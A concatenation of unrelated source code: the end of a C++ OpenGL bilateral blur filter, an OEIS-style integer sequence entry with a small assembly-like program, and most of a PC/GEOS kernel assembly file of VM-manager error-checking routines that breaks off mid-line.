setDistanceNormalizationFactor(8.0); GLint loc = m_program.uniformLocation(paramBlurFactorsName); if (loc < 0) return false; const float factors[9] = {0.05f, 0.09f, 0.12f, 0.15f, 0.18f, 0.15f, 0.12f, 0.09f, 0.05f}; glUniform1fv(loc, 9, factors); return true; } return false; } void CGEBilateralBlurFilter::setBlurScale(float value) { m_program.bind(); m_program.sendUniformf(paramBlurSamplerScaleName, value / 4.0f); } void CGEBilateralBlurFilter::setDistanceNormalizationFactor(float value) { m_program.bind(); m_program.sendUniformf(paramDistanceFactorName, value); } ConstString CGEBilateralBlurBetterFilter::paramBlurRadiusName = "samplerRadius"; bool CGEBilateralBlurBetterFilter::init() { if (initShadersFromString(g_vshDefaultWithoutTexCoord, s_fshBilateralBlur2)) { setBlurScale(4.0f); setDistanceNormalizationFactor(8.0f); setSamplerRadiusLimit(15); return true; } return false; } void CGEBilateralBlurBetterFilter::setSamplerRadiusLimit(int limit) { m_limit = limit; } void CGEBilateralBlurBetterFilter::setBlurScale(float value) { m_program.bind(); m_program.sendUniformf(paramBlurSamplerScaleName, value); int radius = CGE_MIN(m_limit, (int) value); if (radius < 0) radius = 0; m_program.sendUniformi(paramBlurRadiusName, radius); } ////////////////////////////////////////////////////////////////////////// bool CGEBilateralWrapperFilter::init() { m_proc = new CGEBilateralBlurFilter; if (!m_proc->init()) { delete m_proc; m_proc = nullptr; } return true; } void CGEBilateralWrapperFilter::render2Texture(ImageHandlerInterface *handler, GLuint srcTexture, GLuint vertexBufferID) { assert(m_proc != nullptr); // Filter 尚未初始化成功 float blurScale = 200.0f * powf(0.5f, m_blurScale / 50.0f); Sizei sz = handler->getOutputFBOSize(); m_proc->setBlurScale(CGE::CGE_MIN(sz.width, sz.height) / blurScale); for (int i = 0; i < m_repeatTimes;) { m_proc->render2Texture(handler, srcTexture, vertexBufferID); if (++i < m_repeatTimes) { handler->swapBufferFBO(); } } } }
; A166515: Partial sum of A166514. ; 0,1,2,2,4,5,8,8,12,13,18,18,24,25,32,32,40,41,50,50,60,61,72,72,84,85,98,98,112,113,128,128,144,145,162,162,180,181,200,200,220,221,242,242,264,265,288,288,312,313,338,338,364,365,392,392,420,421,450,450,480,481,512,512,544,545,578,578,612,613,648,648,684,685,722,722,760,761,800,800,840,841,882,882,924,925,968,968,1012,1013,1058,1058,1104,1105,1152,1152,1200,1201,1250,1250,1300,1301,1352,1352,1404,1405,1458,1458,1512,1513,1568,1568,1624,1625,1682,1682,1740,1741,1800,1800,1860,1861,1922,1922,1984,1985,2048,2048,2112,2113,2178,2178,2244,2245,2312,2312,2380,2381,2450,2450,2520,2521,2592,2592,2664,2665,2738,2738,2812,2813,2888,2888,2964,2965,3042,3042,3120,3121,3200,3200,3280,3281,3362,3362,3444,3445,3528,3528,3612,3613,3698,3698,3784,3785,3872,3872,3960,3961,4050,4050,4140,4141,4232,4232,4324,4325,4418,4418,4512,4513,4608,4608,4704,4705,4802,4802,4900,4901,5000,5000,5100,5101,5202,5202,5304,5305,5408,5408,5512,5513,5618,5618,5724,5725,5832,5832,5940,5941,6050,6050,6160,6161,6272,6272,6384,6385,6498,6498,6612,6613,6728,6728,6844,6845,6962,6962,7080,7081,7200,7200,7320,7321,7442,7442,7564,7565,7688,7688,7812,7813 mov $1,$0 div $1,2 add $1,1 pow $1,2 mov $2,$0 mod $2,2 add $1,$2 div $1,2
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: Kernel VM Manager FILE: vmemEC.asm AUTHOR: Cheng, June 1989 ROUTINES: Name Description ---- ----------- GLB ECVMHandleVMFileOverride GLB ECVMCheckFileHandle GLB ECVMCheckStrucs GLB ECVMCheckMemHandle GLB ECVMCheckBlkHanOffset EXT VMHandleVMFileOverride INT VMCheckStrucs INT VMCheckHeader INT VMCheckAssignedList INT VMCheckTermination INT VMCheckSortOrder INT VMCheckUnassignedList INT VMCheckUsedBlks INT VMCheckFileHandle INT VMCheckVMHandle INT VMCheckVMAndFileHandleAndDSKdata INT VMCheckHeaderHandle INT VMCheckMemHandle INT VMCheckBlkHandle INT VMCheckBlkHandleAndDSHeader INT VMCheckESHeader INT AssertESKdata ;assert es = idata INT VMVerifyWrite ;rereads blk that was written out and ; compares it with the one in memory REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 6/89 Initial revision DESCRIPTION: Error-checking code for VM module REGISTER USAGE: when possible: ds - idata bp - VM handle / VM mem handle bx - VM file handle di - VM block handle si - VM header handle es - VM header when relevant: ax - number of bytes cx - high word of file position dx - low word of file position $Id: vmemEC.asm,v 1.1 97/04/05 01:15:50 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ kcode segment COMMENT @---------------------------------------------------------------------- FUNCTION: ECVMCheckMemHandle DESCRIPTION: Assert that a memory handle is the handle of a VM block CALLED BY: INTERNAL PASS: bx - memory handle RETURN: DESTROYED: REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/ 9/91 Initial version ------------------------------------------------------------------------------@ ECVMCheckMemHandle proc far EC < xchg bx, si > EC < call VMCheckMemHandle > EC < xchg bx, si > ret ECVMCheckMemHandle endp COMMENT @---------------------------------------------------------------------- FUNCTION: ECVMCheckVMFile DESCRIPTION: Versify the integrity of a VM file CALLED BY: INTERNAL PASS: bx - vm file to check (or override if any) RETURN: none DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/ 9/91 Initial version ------------------------------------------------------------------------------@ ECVMCheckVMFile proc far EC < mov ss:[TPD_callVector.offset], offset VMCheckStrucs > EC < call ECVMEnterAndCall > ret ECVMCheckVMFile endp COMMENT @---------------------------------------------------------------------- FUNCTION: ECVMCheckVMBlockHandle DESCRIPTION: Assert that a given VM block handle is valid CALLED BY: INTERNAL PASS: bx - VM file handle ax - VM block handle RETURN: none DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/ 9/91 Initial version ------------------------------------------------------------------------------@ ECVMCheckVMBlockHandle proc far EC < mov ss:[TPD_callVector.offset], offset VMCheckStrucs > EC < call ECVMEnterAndCall > EC < xchg ax, di > EC < mov ss:[TPD_callVector.offset], offset VMCheckBlkHandle > EC < call ECVMEnterAndCall > EC < xchg ax, di > ret ECVMCheckVMBlockHandle endp IF ERROR_CHECK ;******************************************************* COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECVMEnterAndCall %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Enter the passed/override VM file and call an EC function CALLED BY: ECVMCheckStrucs, ECVMCheckBlkHandle PASS: ss:[TPD_callVector.offset] = offset of routine to call bx = VM file handle (if no override present) others depend on function called RETURN: result of call DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/30/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECVMEnterAndCall proc near uses bx, ds, bp, si, es .enter push ss:[TPD_callVector.offset] call EnterVMFile ; might change callVector pop ss:[TPD_callVector.offset] push cs call ss:[TPD_callVector.offset] call ExitVMFile .leave ret ECVMEnterAndCall endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckStrucs DESCRIPTION: Performs checks on the VM header, the assigned list and the unassigned list. CALLED BY: INTERNAL (error checking) PASS: ds - VM header RETURN: nothing, dies if assertions fail DESTROYED: nothing, flags not affected PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckStrucs proc far ;if INCLUDE_VMEM_EC uses bp, bx, di, si, es .enter pushf LoadVarSeg es test es:sysECLevel, mask ECF_VMEM jz done call VMCheckDSHeader ;init registers mov bp, ds:[VMH_assignedPtr] mov bx, ds:[VMH_lastAssigned] mov si, ds:[VMH_unassignedPtr] mov di, VMH_blockTable ;get header block han mov di, ds:[di].VMBH_memHandle ;get header han xchg si, di call VMCheckMemHandle xchg si, di mov di, es:[di][HM_owner] ;get VM han xchg bp, di call VMCheckVMHandle xchg bp, di call VMCheckHeader ;destroys di call VMCheckAssignedList ;destroys di call VMCheckUnassignedList call VMCheckUsedBlks ;destroys bp, bx, di, si done: popf .leave ;endif ret VMCheckStrucs endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckHeader DESCRIPTION: Performs checks on the VM header. CALLED BY: INTERNAL (VMCheckStrucs) PASS: ds - VM header bp - assigned list head bx - assigned list tail si - unassigned list head RETURN: nothing, dies if assertions fail DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckHeader proc near ;if INCLUDE_VMEM_EC ;see that offsets are legal mov di, bp ;check assigned head handle call VMCheckBlkHandle mov di, bx ;check assigned tail handle call VMCheckBlkHandle mov di, si ;check unassigned head handle call VMCheckBlkHandle ;check unassigned/resident counts ; mov di, ds:[VMH_numResident] ;num unassigned >= num dirty ; shl di ; add di, ds:[VMH_numExtraUnassigned] ;+ num extra unassigned ; inc di ; cmp di, ds:[VMH_numUnassigned] ; ERROR_A VM_BAD_HDR ; disabled 1/4 as it causes bogus errors during update -- ardeb tst ds:VMH_numExtraUnassigned js choke ;check block handle for header mov di, VMH_blockTable call VMCheckUsedBlkHandle push bp, es, si mov si, ds:[di].VMBH_memHandle tst si je 90$ call VMCheckMemHandle LoadVarSeg es mov di, es:[si][HM_owner] cmp si, es:[di].HVM_headerHandle jnz choke ; tst es:[si].HM_addr ; Allow headerHandle's addr to be 0 ; or we can't write the damn thing ; out from ThrowOutBlocks ; jz 90$ mov bp, ds cmp bp, es:[si][HM_addr] je 90$ choke: ERROR VM_BAD_HDR 90$: pop bp, es, si ;endif ret VMCheckHeader endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckAssignedList DESCRIPTION: Perform checks on the assigned list of the given header. CALLED BY: INTERNAL (VMCheckStrucs) PASS: ds - VM header bp - assigned list head bx - assigned list tail RETURN: nothing, dies if assertions fail DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckAssignedList proc near ;if INCLUDE_VMEM_EC pushf call CheckNormalECEnabled jz 90$ call VMCheckTermination tst bp je 90$ call VMCheckSortOrder ;destroys di call VMCheckCoalescing 90$: ;endif popf ret VMCheckAssignedList endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckTermination DESCRIPTION: Checks pointers in the VM header for proper termination. CALLED BY: INTERNAL (VMCheckAssignedList) PASS: ds - VM header bp - assigned list head bx - assigned list tail RETURN: nothing, dies if assertions fail DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckTermination proc near ;if INCLUDE_VMEM_EC pushf call CheckNormalECEnabled jz 90$ tst bp ;assigned head = nil? je 50$ ;branch if so ;----------------------------------------------------------------------- ;head <> nil tst bx ;tail must not be nil jz choke tst ds:[bp].VMFBH_prevPtr ;assert prev ptr of head = nil jnz choke tst ds:[bx].VMFBH_nextPtr ;assert next ptr of tail = nil jnz choke tst ds:[VMH_numAssigned] ;assert num assigned > 0 jne 90$ choke: ERROR VM_BAD_ASSIGNED_LIST 50$: ;----------------------------------------------------------------------- ;head = nil tst bx ;tail must be nil too jnz choke tst ds:[VMH_numAssigned] ;assert num assigned = 0 jnz choke 90$: ;endif popf ret VMCheckTermination endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckSortOrder DESCRIPTION: Traverses the assigned list to see that the elements are sorted in the proper order. CALLED BY: INTERNAL (VMCheckAssignedList) PASS: ds - VM header bp - assigned list head bx - assigned list tail RETURN: nothing, dies if assertions fail DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckSortOrder proc near ;if INCLUDE_VMEM_EC uses ax, cx, dx, si .enter ;ax counts the number of elements in the assigned list ;cx and dx holds the end of the previous block ;di is the current block ;si is the previous block pushf call CheckNormalECEnabled jz done mov di, bp ;use di to traverse list clr ax ;use ax to count elements mov cx, ax ;init file pos to 0 mov dx, ax mov si, ax ;use si to track prev handle 10$: inc ax ;up element count call VMCheckBlkHandle cmp ds:[di].VMFBH_prevPtr, si ;confirm prev ptr jne badAssignedList cmp cx, ds:[di].VMFBH_filePos.high ;make sure block doesn't overlap jne 60$ ; prev (prev is below) cmp dx, ds:[di].VMFBH_filePos.low 60$: ERROR_A VM_BAD_SORT_ORDER mov si, di ;track prev handle mov dx, ds:[di].VMFBH_filePos.low ;get file pos of block end mov cx, ds:[di].VMFBH_filePos.high add dx, ds:[di].VMFBH_fileSize.low adc cx, ds:[di].VMFBH_fileSize.high mov di, ds:[di].VMFBH_nextPtr ;on to next tst di ;end of list? jne 10$ ;loop if not cmp si, bx ;confirm last ptr matches ; caller's idea je checkNum badAssignedList: ERROR VM_BAD_ASSIGNED_LIST checkNum: cmp ax, ds:[VMH_numAssigned] ERROR_NE VM_BAD_ASSIGNED_COUNT done: popf .leave ;endif ret VMCheckSortOrder endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckCoalescing DESCRIPTION: Traverses the assigned list to see that there exists a used block assigned to the file pos following the end of the assigned free block. Asserts proper coalescing. CALLED BY: INTERNAL VMDoCompress, VMCheckAssignedList PASS: ds - VM header bp - assigned list head bx - assigned list tail RETURN: nothing, dies if assertions fail DESTROYED: di REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMCheckCoalescing proc far uses ax, bx, cx, dx, si, bp assignedListTail local word push bx assignedListHead equ {word}ss:[bp] prevAssigned local word .enter push bx call SysGetECLevel pop bx test ax, mask ECF_VMEM jnz doAnal ;non-anal version ;bx will be used to traverse the assigned list push bp mov bp, ss:[assignedListHead] VMCC_loop: call VMFindFollowingUsedBlk jc assertLastAssigned mov di, ds:[bp].VMFBH_nextPtr ;on to next assigned tst di jz assertLastAssigned mov bp, di jmp VMCC_loop assertLastAssigned: cmp bp, bx pop bp ; recover now so user can debug... ERROR_NE VM_BAD_ASSIGNED_LIST done: .leave ret doAnal: ; dx:cx = file position of first block in file clr dx mov cx, size VMFileHeader clr si mov ss:[prevAssigned], si ; dx:cx = first position to look for ; si = last handle (0 if none) scanLoop: ; find block at position dx:cx clr ax ;ax = block above flag mov di, ds:[VMH_lastHandle] innerLoop: sub di, size VMBlockHandle cmp di, VMH_blockTable jb notFound cmp dx, ds:[di].VMBH_filePos.high jb markBlockAbove ja innerLoop cmp cx, ds:[di].VMBH_filePos.low jz found ja innerLoop markBlockAbove: inc ax ;set "block above" flag jmp innerLoop found: test ds:[di].VMBH_sig, VM_IN_USE_BIT jnz used ; block is a free block add cx, ds:[di].VMFBH_fileSize.low adc dx, ds:[di].VMFBH_fileSize.high tst si jz 10$ test ds:[si].VMBH_sig, VM_IN_USE_BIT ERROR_Z VM_TWO_CONSECUTIVE_FREE_BLOCKS ;two consecutive free block 10$: mov si, di xchg si, ss:[prevAssigned] tst si jnz notFirstAssigned cmp di, ss:[assignedListHead] ;first assigned must be jz common ;assignedListHead ERROR VM_ASSIGNED_LIST_HEAD_IS_WRONG notFirstAssigned: cmp di, ds:[si].VMFBH_nextPtr ;assigned blocks must be jz common ;listed in ascending order ERROR VM_BAD_ASSIGNED_LIST ; so nothing can come between ; prev and this one. ; block is used used: add cx, ds:[di].VMBH_fileSize adc dx, 0 common: mov si, di ;save last block jmp scanLoop notFound: tst ax ;if a block exists past this ERROR_NZ VM_GAP_EXISTS_IN_FILE ;one then gap & error if 0 ;;; ; NO LONGER VALID ;;; ; at end of file -- first test to see if the file size is correct ;;; ;;; mov bx, ds:VMH_blockTable.VMBH_memHandle ;bx = header handle ;;; mov bx, es:[bx].HM_owner ;bx = VM handle ;;; mov bx, es:[bx].HVM_fileHandle ;bx = file handle ;;; call FileSize ;dx:ax = file size ;;; test ds:[si].VMBH_sig, VM_IN_USE_BIT ;;; jnz subInUseSize ;;; sub ax, ds:[si].VMFBH_fileSize.low ;;; sbb dx, ds:[si].VMFBH_fileSize.high ;;; jmp subCommon ;;;subInUseSize: ;;; sub ax, ds:[si].VMBH_fileSize ;;; sbb dx, 0 ;;;subCommon: ;;; cmp dx, ds:[si].VMFBH_filePos.high ;;; jnz badFileSize ;;; cmp ax, ds:[si].VMFBH_filePos.low ;;; jz goodFileSize ;;;badFileSize: ;;; ERROR VM_BAD_FILE_SIZE ;;;goodFileSize: endif ; at end of file mov si, ss:[prevAssigned] ;the last assigned block cmp si, ss:[assignedListTail] ;that we encountered must ERROR_NZ VM_ASSIGNED_LIST_TAIL_IS_WRONG ;be the tail of the list jmp done VMCheckCoalescing endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckUnassignedList DESCRIPTION: Checks the unassigned list. CALLED BY: INTERNAL (VMCheckStrucs) PASS: ds - VM header si - unassigned list head RETURN: nothing, dies if assertions fail DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckUnassignedList proc near pushf call CheckNormalECEnabled jz done push ax clr ax ;count num unassigned with ax tst si ;any unassigned blocks? je checkCount ;no -- make sure the count is 0 ;----------------------------------------------------------------------- ;unassigned blocks exist mov di, si ;go through blk handles with di 20$: inc ax ;up count call VMCheckBlkHandle tst ds:[di].VMFBH_fileSize.low ;unassigned? jnz ok tst ds:[di].VMFBH_fileSize.high ERROR_NZ VM_BAD_UNASSIGNED_LIST ok: mov di, ds:[di].VMFBH_nextPtr ;move on to next tst di jne 20$ checkCount: cmp ds:[VMH_numUnassigned], ax ERROR_NE VM_BAD_UNASSIGNED_COUNT pop ax done: popf ret VMCheckUnassignedList endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckUsedBlks DESCRIPTION: Check to see that the VMH_usedBlks count is correct. CALLED BY: INTERNAL (VMCheckStrucs) PASS: ds - VM header RETURN: nothing, dies if assertions fail DESTROYED: di, si REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMCheckUsedBlks proc near pushf call CheckNormalECEnabled jz exit push ax clr ax ;use ax to count used blks mov di, ds:[VMH_lastHandle] 10$: sub di, size VMBlockHandle cmp di, offset VMH_blockTable jb done test ds:[di].VMBH_sig, VM_IN_USE_BIT jz 10$ cmp ds:[di].VMBH_sig, VMBT_DUP jb 10$ inc ax tst ds:[di].VMBH_fileSize jz noFileSpace tst ds:[di].VMBH_filePos.low jnz 10$ tst ds:[di].VMBH_filePos.high jnz 10$ choke: ERROR VM_BAD_HDR noFileSpace: tst ds:[di].VMBH_filePos.low jnz choke tst ds:[di].VMBH_filePos.high jnz choke jmp 10$ done: cmp ds:[VMH_numUsed], ax ;used count ok? ERROR_NE VM_BAD_USED_COUNT pop ax exit: popf ret VMCheckUsedBlks endp if 0 ; flagged as unused 12/21/89 -- ardeb COMMENT @----------------------------------------------------------------------- FUNCTION: VMCountBlks DESCRIPTION: Count all the blocks and see that it matches the total of numAssigned, numUnassigned and numUsed. CALLED BY: INTERNAL (VMCheckStrucs) PASS: ds - VM header RETURN: nothing, dies if assertions fail DESTROYED: bx, di, si REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMCountBlks proc near pushf call CheckNormalECEnabled jz 90$ clr bx ;bx will be used to count mov di, VMH_blockTable mov si, ds:[VMH_lastHandle] 10$: inc bx add di, size VMBlockHandle cmp di, si jne 10$ mov di, ds:[VMH_numAssigned] add di, ds:[VMH_numUnassigned] add di, ds:[VMH_numUsed] cmp bx, di je 90$ ERROR VM_BAD_TOTAL_COUNT 90$: popf ret VMCountBlks endp endif COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckFileHandle DESCRIPTION: Sees that the VM file handle is valid. CALLED BY: INTERNAL PASS: bx - VM file handle RETURN: nothing, dies if assertions fail DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: assert HF_otherInfo <> 0 assert sig(VM handle) = SIG_VM KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMCheckFileHandle proc far uses ds, bp .enter pushf ;Added 7/25/93 - atw call ECCheckFileHandle LoadVarSeg ds mov bp, ds:[bx][HF_otherInfo] call VMCheckVMHandle popf .leave ret VMCheckFileHandle endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckVMHandle DESCRIPTION: Checks to see that the handle given is a VM handle. CALLED BY: INTERNAL PASS: bp - VM handle RETURN: nothing, dies if assertions fail DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMCheckVMHandle proc far pushf ;Added 7/25/93 - atw push ds LoadVarSeg ds cmp ds:[bp].HG_type, SIG_VM ERROR_NE VM_ERR_NOT_VM_HANDLE pop ds popf ret VMCheckVMHandle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VMCheckVMAndFileHandleAndDSKdata %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure passed a valid FILE and VM handle, and that DS actually points to idata CALLED BY: INTERNAL PASS: bx = file handle bp = VM handle ds = idata RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 8/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VMCheckVMAndFileHandleAndDSKdata proc far .enter call AssertDSKdata call VMCheckVMHandle call VMCheckFileHandle .leave ret VMCheckVMAndFileHandleAndDSKdata endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckHeaderHandle DESCRIPTION: CALLED BY: INTERNAL PASS: si - VM mem handle RETURN: nothing, dies if assertions fail DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckHeaderHandle proc far uses ds, di .enter call VMCheckMemHandle LoadVarSeg ds mov di, ds:[si][HM_owner] ;assert owner = VM handle cmp ds:[di].HVM_headerHandle, si ERROR_NE VM_BAD_MEM_HAN .leave ret VMCheckHeaderHandle endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckMemHandle DESCRIPTION: Checks to see that the owner of the VM block has the VM signature. CALLED BY: INTERNAL PASS: si - VM mem handle RETURN: nothing, dies if assertions fail DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckMemHandle proc near uses ds, bp .enter tst si ;handle must be non 0 ERROR_Z VM_BAD_MEM_HAN LoadVarSeg ds mov bp, ds:[si][HM_owner] ;assert owner = VM header handle call VMCheckVMHandle .leave ret VMCheckMemHandle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VMCheckUsedBlkHandle %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure the passed VM block handle is legal and actively in-use (VMBT_DUP or VMBT_USED) CALLED BY: INTERNAL PASS: ds = VM header di = handle to check RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 6/13/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VMCheckUsedBlkHandle proc far .enter call VMCheckBlkHandle tst di jnz 10$ error: ERROR VM_HANDLE_NOT_IN_USE 10$: test ds:[di].VMBH_sig, VM_IN_USE_BIT jz error cmp ds:[di].VMBH_sig, VMBT_DUP jb error .leave ret VMCheckUsedBlkHandle endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckBlkHandle DESCRIPTION: Sees that the VM block handle falls within legal bounds. CALLED BY: INTERNAL (error checking utility) PASS: ds - VM header di - VM block handle (offset from ds, may be 0) RETURN: nothing, dies if assertions fail DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 3/89 Initial version -------------------------------------------------------------------------------@ VMCheckBlkHandle proc far tst di je 90$ ;no check if nil cmp di, offset VMH_blockTable ERROR_B VM_BAD_BLK_HAN cmp di, ds:[VMH_lastHandle] ;offset must be less than size of header ERROR_AE VM_BAD_BLK_HAN call VMCheckBlkHanOffset ;assert legal offset 90$: ret VMCheckBlkHandle endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VMCheckBlkHandleAndDSHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure DS is a valid VM header and DI, a valid VM block handlle CALLED BY: INTERNAL PASS: ds = VM Header di = VM block handle RETURN: nothing DESTROYED: flags PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 8/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VMCheckBlkHandleAndDSHeader proc near .enter call VMCheckDSHeader call VMCheckBlkHandle .leave ret VMCheckBlkHandleAndDSHeader endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckBlkHanOffset DESCRIPTION: In the absence of ds = VM header, checks to see that the block handle is a legal offset into the VM header block. CALLED BY: INTERNAL PASS: di - VM block handle RETURN: nothing, dies if assertions fail DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: assert offset falls on block handle boundaries KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMCheckBlkHanOffset proc far uses ax, dx, di .enter sub di, offset VMH_blockTable;adjust mov ax, size VMBlockHandle xchg ax, di ;dx:ax <- di clr dx div di ;dx:ax / blk handle size tst dx ;confirm remainder = 0 ERROR_NZ VM_BAD_BLK_HAN .leave ret VMCheckBlkHanOffset endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMCheckDSHeader DESCRIPTION: Asserts that ds = VM header. CALLED BY: INTERNAL PASS: ds - VM header RETURN: nothing, dies if assertions fail DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: assert legal VM hdr handle assert es = han_addr(hdr handle) KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMCheckDSHeader proc far uses ax, cx, si, es, di, dx .enter cmp ds:[VMH_headerSig], VM_HDR_SIG ERROR_NE VM_BAD_HDR mov di, 